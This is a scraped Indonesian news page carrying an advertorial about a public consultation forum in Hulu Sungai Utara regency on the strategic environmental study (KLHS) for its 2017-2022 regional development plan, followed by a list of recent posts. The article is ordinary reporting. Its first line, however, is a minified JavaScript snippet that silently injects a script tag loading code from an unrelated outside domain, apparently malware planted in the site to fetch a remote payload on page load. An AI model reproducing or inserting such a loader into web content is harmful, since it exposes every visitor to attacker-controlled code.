(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Pemkab HSU Bahas Kajian Lingkungan Hidup Strategis


AMUNTAI, Pemkab Hulu Sungai Utara mengelar forum konsultasi publik laporan Kajian Lingkungan Hidup Strategis (KLHS) RPJMD Kabupaten HSU tahun 2017-2022, Selasa (6/3) di aula Bapelitbang Kabupaten HSU. Forum konsultasi publik KHLS dibuka Wakil Bupati HSU Husairi Abdi Lc mendatangkan narasumber dari Universitas Lambung Mangkurat Prof Dr Ir H Gt Muhammad Hatta dan Prof Dr Ir H Syarifuddin Kadir MSi.

Kajian lingkungan hidup strategis adalah serangkaian analisis yang sistematis, menyeluruh dan partisipatif untuk memastikan bahwa prinsip pembangunan berkelanjutan telah menjadi dasar dan terintegrasi dalam pembangunan suatu wilayah dan kebijakan, rencana dan program.

“Termasuk di dalamnya penyusunan dokumen Rencana Pembangunan Jangka Menengah Daerah (RPJMD) sesuai pasal 1 Undang-Undang nomor 32 tahun 2009,” ujar Husairi Abdi.

KLHS dilakukan untuk memastikan bahwa prinsip pembangunan berkelanjutan telah menjadi dasar dan terintegrasi dalam suatu pembangunan wilayah. Sehingga implementasi KLHS nantinya dapat meningkatkan kulitas perencanaan pembangunan di Kabupaten Hulu Sungai Utara.

“Berdasarkan Undang-Undang nomor 23 Tahun 2014 tentang pemerintah daerah, penetapan Perda RPJMD ini paling lambat 6 bulan setelah Bupati dan Wakil Bupati dilantik, yang artinya batas akhir penetapan perda RPJMD Kabupaten HSU 2017-2022 adalah tanggal 9 April 2018,” sebut Husairi.

Kepala Bapelitbang HSU Fajeri Ripani menyampaikan beberapa hal tentang Dokumen RPJMD yang harus didampingi dengan KLHS, yang mana sesuai dengan Undang-Undang Nomor 32 Tahun 2009. “Pemerintah daerah wajib melaksanakan kajian lingkungan hidup strategis ke dalam penyusunan RPJMD,” katanya.

Sehingga forum konsultasi publik, tentang kajian lingkungan hidup strategis merupakan salah satu rangkaian proses untuk menerima saran dan masukan untuk menyempurnakan dokumen.

“KLHS ini merupakan syarat mutlak yang harus masuk dokumen RPJMD, apabila dokumen RPJMD itu tidak disertai integrasi ke dalam KLHS maka proses penetapan RPJMD akan terlambat,” kata Fajeri. (dewahyudi)

Reporter: Dewahyudi
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Perdana Auditorium ULM Banjarbaru Diisi Jemaah Sekumpul, Ikut Berdoa dari Jauh

KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More

3 jam ago

Satu Arah Mulai Pukul 7 Malam dari Banjarbaru hingga Km 17 Gambut

KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More

4 jam ago

Maulid Habsyi dan Tahlil Selesai Dibaca Pukul 20.15, Jemaah Sekumpul Berangsur Pulang

KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More

5 jam ago

Mulai Ampar Sajadah Sejak Pagi, Jalan Sekumpul Sudah Penuh Jemaah

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More

12 jam ago

Melihat Kerelawanan Warga Banjar Menyambut Tamu Jemaah Sekumpul

KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More

14 jam ago

Posko Sapta Marga Bersatu di Banjarbaru Ada Bengkel Gratis

KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More

15 jam ago

This website uses cookies.